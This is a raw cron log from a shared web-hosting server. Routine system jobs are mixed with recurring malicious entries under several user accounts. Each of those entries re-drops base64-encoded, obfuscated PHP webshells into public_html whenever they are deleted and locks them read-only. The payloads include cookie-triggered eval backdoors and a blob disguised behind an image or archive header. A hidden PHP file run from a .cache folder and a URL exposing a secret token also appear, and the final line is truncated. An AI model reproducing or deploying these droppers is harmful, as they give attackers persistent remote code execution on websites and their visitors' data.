Mar  2 16:44:01 medusa CROND[27362]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:44:01 medusa CROND[27365]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:44:01 medusa CROND[27370]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:45:01 medusa CROND[13336]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:45:01 medusa CROND[13337]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 16:45:01 medusa CROND[13338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:45:01 medusa CROND[13339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:45:01 medusa CROND[13340]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:45:01 medusa CROND[13341]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:45:01 medusa CROND[13342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:45:01 medusa CROND[13343]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:45:01 medusa CROND[13349]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:45:01 medusa CROND[13350]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:45:01 medusa CROND[13351]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:45:01 medusa CROND[13359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:45:01 medusa CROND[13363]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:45:01 medusa CROND[13371]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:45:01 medusa CROND[13375]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:45:01 medusa CROND[13374]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:45:01 medusa CROND[13378]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:45:01 medusa CROND[13381]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:45:01 medusa CROND[13384]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:45:01 medusa CROND[13385]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:45:01 medusa CROND[13394]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:45:01 medusa CROND[13388]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  2 16:45:01 medusa CROND[13397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:45:01 medusa CROND[13400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:46:01 medusa CROND[28688]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:46:01 medusa CROND[28773]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:46:01 medusa CROND[28989]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:46:01 medusa CROND[28990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:46:01 medusa CROND[28991]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:46:01 medusa CROND[28992]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:46:01 medusa CROND[28994]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7E